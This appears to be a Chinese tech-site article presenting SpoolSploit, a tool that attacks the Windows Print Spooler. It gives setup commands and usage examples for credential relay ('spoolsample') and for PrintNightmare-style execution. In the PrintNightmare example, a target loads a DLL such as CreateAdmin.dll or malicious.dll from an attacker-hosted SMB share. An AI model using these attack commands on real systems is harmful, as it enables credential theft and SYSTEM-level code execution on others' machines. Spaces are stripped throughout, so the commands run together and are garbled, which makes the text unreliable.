当前位置: 首页 > 科技观察

如何使用SpoolSploit审计Windows后台打印程序的安全性

时间:2023-03-16 00:01:15 科技观察

关于SpoolSploitSpoolSploit是一款Windows后台打印程序的安全审计工具。研究人员可以使用SpoolSploit来检测Windows后台打印程序。),并通过实际的利用技术进行渗透测试或安全审计。SpoolSploit中还打包了许多其他实用程序,用于实际的漏洞利用和渗透测试。并实施了两种方法来中继计算机帐户凭据以提升权限并在具有完全系统访问权限的节点上执行恶意DLL。快速入门自项目发布以来,SpoolSploitDocker容器已在最新版本的macOS、UbuntuLinux和Windows10上成功测试。我们建议用户在SpoolSploitDocker容器中进行渗透测试或凭证中继测试,托管相应的DLL文件,然后确保在运行Docker容器的主机上打开未使用的端口445。这在Windows主机上运行此容器时最为普遍,因为它默认使用端口445。如果主机上的445端口被占用或不可用,您可以在网卡配置为桥接模式的虚拟机中运行Docker容器。(1)工具下载&接入SpoolSploit容器首先使用如下命令将项目源码clone到本地:gitclonehttps://github.com/BeetleChunks/SpoolSploit接下来构建SpoolSploitDocker容器镜像:cdSpoolSploitsudodockerbuild-tspoolsploit。创建并启动SpoolSploitDocker容器:sudodockerrun-dit-p445:445--namespoolsploitspoolsploit:latest绑定容器:sudodockerexec-itspoolsploit/bin/bash(2)命令行用法:spool_sploit.py[-h]-a{spoolsample,nightmare}-rHRHOST-rP{139,445}[-lHLHOST][-lSLSHARE]-dDOMAIN-uUSER-pPASSWD可选参数:-h,--help显示帮助信息并退出-a{spoolsample,nightmare},--attack{spoolsample,nightmare}需要在目标主机上执行的测试类型-rHRHOST,--rhostRHOST远程目标IP、CIDR范围或文件名(file:)-rP{139,445},--rport{139,445}远程SMB服务器端口-lHLHOST,--lhostLHOST监听主机名或IP地址-lSLSHARE,--lshareLSHARESMBshared(UNC)-dDOMAIN,--domainDOMAIN认证域名-uUSER,--usernameUSER认证用户名-pPASSWD,--passwordPASSWD认证密码WorkerusesampleuseSample1:python3spool_sploit.py-aspoolsample-lH10.14.1.24-devil.corp-urjmcdow-p'P4ssword123!'-rP445-rH10.5.1.10示例2:python3spool_sploit.py-anightmare-lS'\\10.14.1.24\C$\CreateAdmin.dll'-devil.corp-urjmcdow-p'P4ssword123!'-rP445-rH10.5.1.10SpoolSample-Windows设备帐户凭据获取和中继sudodockercp./malicious.dllspoolsploit:/home/dlogmas/smbserver/share/sudodockerexecspoolsploit/bin/sh-c'sudochowndlogmas:dlogmas/home/dlogmas/smbserver/share/malicious.dll'工具使用截图项目地址SpoolSploit:[GitHub传送门]